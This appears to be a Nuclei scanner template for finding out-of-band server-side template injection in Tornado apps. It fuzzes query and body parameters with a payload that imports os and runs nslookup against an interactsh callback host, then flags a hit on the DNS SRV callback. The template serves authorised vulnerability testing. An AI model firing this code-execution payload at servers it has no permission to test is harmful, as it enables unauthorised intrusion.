id: tornado-oob

info:
  name: Tornado - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK
  severity: high
  reference:
    - https://www.tornadoweb.org/en/stable/guide/templates.html
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'
          - 'method == "PUT"'
    payloads:
      injection:
        - "{%25import+os%25}{{os.system('nslookup+-type=SRV+{{interactsh-url}}')}}"

    skip-variables-check: true

    fuzzing:
      - parts:
          - query
          - body
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 490a00463044022014852555bda22cb81ecf0864a90d017aec12da77e140f7ad51f038c7183f1f68022008296a68151cbbe6755eb57d5d85eb8c3efe1ebdccfa0b1f870e0ca22ee747a8:922c64590222798bb761d5b6d8e72950